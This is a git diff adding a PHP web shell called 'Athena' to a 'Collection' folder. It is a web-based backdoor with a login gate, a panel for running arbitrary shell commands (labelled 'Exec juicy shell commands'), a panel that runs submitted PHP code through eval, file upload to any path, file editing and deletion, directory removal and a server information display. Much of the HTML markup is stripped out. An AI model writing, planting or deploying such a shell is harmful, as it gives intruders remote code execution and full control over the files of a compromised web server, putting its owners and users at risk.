diff --git a/Collection/Athena.php b/Collection/Athena.php new file mode 100644 index 0000000..7aaa6fb --- /dev/null +++ b/Collection/Athena.php @@ -0,0 +1,635 @@ + */ + function format_bytes( $_B, $_P = 2 ) { + $_U = array( 'B', 'KB', 'MB', 'GB', 'TB' ); + + $_B = max( $_B, 0 ); + $_P = floor( ( $_B ? log( $_B ) : 0) / log( 1024 ) ); + $_P = min( $_P, count( $_U ) - 1); + $_B /= pow( 1024, $_P ); + return round( $_B, $_P ) . ' ' . $_U[ $_P ]; + } + + /** Thanks W3Schools */ + function show_toast( $_M ){ + return ' + + '; + } + + function edit_file ( $_F , $_C ){ + $_FP = fopen( $_F, 'w' ); + if ( !$_FP){ + echo show_toast( "There was an error opening the file." ); + } else{ + fwrite( $_FP, $_C ); + fclose( $_FP ); + echo show_toast( "Edits was saved!" ); + } + } + + function remove_file( $_F ) + { + if ( file_exists ( $_F ) ) + { + if ( unlink ( $_F ) ){ + echo show_toast( "File ". $_F ." was deleted." ); + } else{ + echo show_toast( "Failed to delete the file ". $_F ); + } + } else{ + echo show_toast( "The file ". $_F ." does not exist."); + } + } + + function create_file( $_F ){ + $_FP = fopen( $_SERVER['DOCUMENT_ROOT'].'/'.$_F, "w" ); + if ($_FP) + { + fclose( $_FP ); + echo show_toast( "The file ". $_F ." was created!"); + } else{ + echo show_toast( "There was an error creating the file ". $_F ); + } + } + + function get_files( $_D ) + { + $_F = glob( $_D."*/*" ); + foreach( $_F as $_FL ){ + echo ' + + '; + if ( is_dir( $_FL ) ){ + echo ' + + '. $_FL .' + '; + } + else{ + echo $_FL; + } + echo ' + '. format_bytes( filesize( $_FL ) ) .' + '. date("H.i/d.m.Y", filemtime($_FL)) .' + '; + if ( is_dir( $_FL ) ){ + echo ' + + + + + '; + } else{ + echo ' + + + + + + + + + '; + } + echo ' + '; + } + } + + /** Thanks Gist */ + function get_os(){ + + $_U = $_SERVER['HTTP_USER_AGENT']; + $_O = ""; + + $_OA = array( + '/windows nt 10/i' => 'Windows 10', + '/windows nt 6.3/i' => 'Windows 8.1', + '/windows nt 6.2/i' => 'Windows 8', + '/windows nt 6.1/i' => 'Windows 7', + '/windows nt 6.0/i' => 'Windows Vista', + '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', + '/windows nt 5.1/i' => 'Windows XP', + '/windows xp/i' => 'Windows XP', + '/windows nt 5.0/i' => 'Windows 2000', + '/windows me/i' => 'Windows ME', + '/win98/i' => 'Windows 98', + '/win95/i' => 'Windows 95', + '/win16/i' => 'Windows 3.11', + '/macintosh|mac os x/i' => 'Mac OS X', + '/mac_powerpc/i' => 'Mac OS 9', + '/linux/i' => 'Linux', + '/ubuntu/i' => 'Ubuntu', + '/iphone/i' => 'iPhone', + '/ipod/i' => 'iPod', + '/ipad/i' => 'iPad', + '/android/i' => 'Android', + '/blackberry/i' => 'BlackBerry', + '/webos/i' => 'Mobile' + ); + + foreach ( $_OA as $_R => $_V ) { + if ( preg_match($_R, $_U ) ) { + $_O = $_V; + } + } + return $_O; + } + +?> + + + + + + + + + Athena ~ <?php echo get_current_user() . " @ " . $_SERVER[ 'SERVER_NAME' ]; ?> + + + + + + +
+ + + + +
+
+

Auth

+
+
+ +
+
+ +
+
+
+
+
+ + + +
+ +
+
+
+
+
+ +

Shell Commands

+
+
Exec juicy shell commands
+
+
+ +
+
+
+
+
+
+
+
+ +

Exec PHP Code

+
+
Write and exec PHP
+
+
+ + + + + + + +
+
+
+
+
+
+
+ +
+
+
+

Mode

+ +
CURRENT DIRECTORY
+

'. getcwd() .'

+
+
+
+ +
+
+
+ '; + if ( isset( $_POST[ 'command' ] ) ){ + if ( empty( $_POST[ 'command' ] ) ){ + echo ""; + } else{ + echo ' +
+
COMMAND RESULT
+

'. exec_command( $_POST['command'] ) .'

+
+ '; + } + } + break; + + // -------------------- PHP mode + case "php": + echo ' +
+
+ +
+
+ +
+
+
+ '; + if ( isset( $_POST['exec_php'] ) ){ + if ( empty( $_POST[ 'php_code' ] ) ){ + echo ""; + } else{ + echo ' +
+
PHP CODE RESULT
+

'; + @eval( stripslashes( $_POST[ 'php_code' ] ) ); + echo '

'; + } + } + break; + + // -------------------- Upload mode + case "upload": + echo ' +
+
+ +
+
+ +
+
+ +
+
+
+ '; + if ( isset( $_POST['upload_file'] ) ){ + $_FILE_NAME = $_POST[ 'upload_path' ]."/".$_FILES[ 'the_file' ][ 'name' ]; + if ( empty( $_POST[ 'upload_path' ] ) ){ + echo ""; + } else{ + if ( copy( $_FILES[ 'the_file' ][ 'tmp_name' ] , $_FILE_NAME ) ) { + echo show_toast( "File was uploaded to ". $_POST[ 'upload_path'] ); + } else { + echo ' +
+
UPLOAD FAILED
+

'. print_r($_FILES) .'

+
+ '; + } + } + } + break; + + // -------------------- Create mode + case "create": + echo ' +
+
+ + +
+
+ +
+
+ +
+
+ '; + + if( isset( $_POST['create_this'] ) ){ + if ( !empty( $_POST[ 'create_type' ] ) && !empty( $_POST[ 'create_file_name'] ) ){ + switch( $_POST[ 'create_type' ] ){ + case "folder": + if ( mkdir( $_SERVER[ 'DOCUMENT_ROOT' ].'/'.$_POST[ 'create_file_name' ] ) ){ + echo show_toast( "Directory ". $_POST[ 'create_file_name']." was created!"); + echo ""; + } else{ + echo show_toast( "There was an error creating the directory."); + echo ""; + } + break; + + case "file": + if (file_exists( $_SERVER['DOCUMENT_ROOT'].'/'.$_POST['create_file_name'] ) ){ + echo show_toast( "File ". $_POST[ 'create_file_name']." already exists!"); + echo ""; + } else{ + echo create_file( $_POST[ 'create_file_name'] ); + } + + break; + } + } else{ + echo show_toast( "What's the file/folder name?"); + } + } + break; + } + ?> + +
+
+
+
+

Server Info

+ + + + + + + + + + + + + + + + + + + +
Server Name + +
Server IP, PORT + +
Operating System + +
Server Software + +
Safe Mode + +
+
+
+
+
+
+
+
+
+
+
+

+ + + + File Manager

+
+ +
+ + + + + + + + + + +
NameSizeModifiedActions
+
+
+
+ +
+ +
+

EDIT MODE

+
+
FILE NAME
+

'. $_GET['file'] .'

+
+
+
+ +
+
+ +
+
+
+
+ '; + if ( isset( $_POST['save_file'] ) ){ + $_E = $_POST['edit_area']; + echo edit_file( $_GET['file'], $_E ); + echo ""; + } + break; + + // -------------------- Delete file mode + case "delete": + if ( !empty( $_GET['file'] ) ){ + echo remove_file( $_GET['file'] ); + echo ""; + } else{ + echo show_toast( "Select a file to delete!" ); + } + break; + + // -------------------- Delete file mode + case "delete_dir": + if ( !empty( $_GET['dir_delete'] ) ){ + if ( rmdir( $_GET['dir_delete'] ) ){ + echo show_toast( "Directory ". $_GET[ 'dir_delete']." was deleted!"); + echo ""; + } else{ + echo show_toast( "There was an error deleting the directory."); + echo ""; + } + } else{ + echo show_toast( "Select a directory to delete!" ); + } + break; + } + } + ?> +
+ + + +
+ window.onload=function(){document.getElementById('error_message').innerHTML = 'Failed to Auth User. Enter correct credentials.';}"; + } else{ + $_SESSION['is_authorized'] = "794ca0cae6==".md5( RANDOM_ID ); + echo ""; + } + } + ?> + + +